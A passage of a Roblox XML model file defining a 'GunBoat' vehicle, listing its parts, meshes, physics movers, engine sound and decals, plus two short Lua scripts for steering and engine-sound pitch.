									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">GunBoat</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX1646">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Bodykit</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX1647">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1578</X>
											<Y>8.5</Y>
											<Z>29.5</Z>
											<R00>-0</R00>
											<R01>-0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000205093122</X>
											<Y>0.000207367528</Y>
											<Z>0.000218624336</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>1</Y>
											<Z>14</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX1648">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1649">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">0</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">194</int>
										<CoordinateFrame name="CFrame">
											<X>-1576</X>
											<Y>4</Y>
											<Z>24</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>-1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
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									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1592</X>
											<Y>8.30000019</Y>
											<Z>21</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">0</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000207266523</X>
											<Y>0.000118836266</Y>
											<Z>0.000217127716</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>4</X>
											<Y>1</Y>
											<Z>6</Z>
										</Vector3>
									</Properties>
									<Item class="SpecialMesh" referent="RBX1698">
										<Properties>
											<bool name="Archivable">true</bool>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<Content name="MeshId"><null></null></Content>
											<token name="MeshType">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Content name="TextureId"><null></null></Content>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1699">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1587</X>
											<Y>8.30000019</Y>
											<Z>21</Z>
											<R00>-0</R00>
											<R01>-0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000207266537</X>
											<Y>0.000143304656</Y>
											<Z>0.000217830457</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>4</X>
											<Y>1</Y>
											<Z>4</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX1700">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1701">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1590</X>
											<Y>6.80000019</Y>
											<Z>22.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000214396219</X>
											<Y>0.000132156521</Y>
											<Z>0.000220941714</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>2</Y>
											<Z>10</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX1702">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1703">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1591</X>
											<Y>7</Y>
											<Z>18.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000213979685</X>
											<Y>0.000117841773</Y>
											<Z>0.000220330112</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>2</Y>
											<Z>40</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX1704">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1705">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1590</X>
											<Y>8.5</Y>
											<Z>18.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">0</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000206639175</X>
											<Y>0.000122735451</Y>
											<Z>0.000216937755</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>1</Y>
											<Z>10</Z>
										</Vector3>
									</Properties>
									<Item class="SpecialMesh" referent="RBX1706">
										<Properties>
											<bool name="Archivable">true</bool>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<Content name="MeshId"><null></null></Content>
											<token name="MeshType">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Content name="TextureId"><null></null></Content>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
							</Item>
							<Item class="Script" referent="RBX1707">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">true</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="VehicleSeat" referent="RBX1708">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">26</int>
									<CoordinateFrame name="CFrame">
										<X>-1587</X>
										<Y>6.5</Y>
										<Z>24</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>-1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<bool name="HeadsUpDisplay">true</bool>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<float name="MaxSpeed">0</float>
									<string name="Name">VehicleSeat</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>-2.35526932e-006</X>
										<Y>-1.4054865e-007</Y>
										<Z>4.8936754e-006</Z>
									</Vector3>
									<int name="Steer">0</int>
									<int name="Throttle">0</int>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">0</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Torque">1</float>
									<float name="Transparency">0</float>
									<float name="TurnSpeed">0</float>
									<Vector3 name="Velocity">
										<X>0.000215653505</X>
										<Y>0.000150370455</Y>
										<Z>0.000222069939</Z>
									</Vector3>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX1709">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>-0.300000012</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX1710">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1596</X>
										<Y>4</Y>
										<Z>24</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>-1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Base</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>-2.35526932e-006</X>
										<Y>-1.4054865e-007</Y>
										<Z>4.8936754e-006</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0.000227887693</X>
										<Y>0.000106327381</Y>
										<Z>0.00022669317</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>12</X>
										<Y>4</Y>
										<Z>30</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX1711">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX1712">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">BG</string>
										<float name="P">3000</float>
										<CoordinateFrame name="cframe">
											<X>33.0201035</X>
											<Y>4.98000956</Y>
											<Z>-98.9990234</Z>
											<R00>-2.94446945e-005</R00>
											<R01>-0.0125623122</R01>
											<R02>-0.999921083</R02>
											<R10>0.000741824973</R10>
											<R11>0.999920845</R11>
											<R12>-0.0125623308</R12>
											<R20>0.999999762</R20>
											<R21>-0.000742135104</R21>
											<R22>-2.01463699e-005</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>0</X>
											<Y>400000</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyVelocity" referent="RBX1713">
									<Properties>
										<bool name="Archivable">true</bool>
										<string name="Name">BV</string>
										<float name="P">1250</float>
										<Vector3 name="maxForce">
											<X>1000000</X>
											<Y>0</Y>
											<Z>1000000</Z>
										</Vector3>
										<Vector3 name="velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyPosition" referent="RBX1714">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">1250</float>
										<string name="Name">Hover</string>
										<float name="P">10000</float>
										<Vector3 name="maxForce">
											<X>0</X>
											<Y>INF</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="position">
											<X>0</X>
											<Y>5</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Sound" referent="RBX1715">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Looped">true</bool>
										<string name="Name">Engine</string>
										<float name="Pitch">2.5999999</float>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
										<float name="Volume">1</float>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX1716">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">EngineScript</string>
										<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
									</Properties>
								</Item>
								<Item class="Fire" referent="RBX1717">
									<Properties>
										<bool name="Archivable">true</bool>
										<Color3 name="Color">4294967040</Color3>
										<bool name="Enabled">false</bool>
										<string name="Name">Fire</string>
										<Color3 name="SecondaryColor">4294901760</Color3>
										<float name="heat_xml">25</float>
										<float name="size_xml">30</float>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX1718">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="Face">0</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=31161332</url></Content>
										<float name="Transparency">0</float>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX1719">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="Face">2</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=31161332</url></Content>
										<float name="Transparency">0</float>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX1720">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">21</int>
									<CoordinateFrame name="CFrame">
										<X>-1569</X>
										<Y>7.5</Y>
										<Z>24</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>-1</R02>
										<R10>0</R10>
										<R11>-1</R11>
										<R12>0</R12>
										<R20>-1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Tip</string>
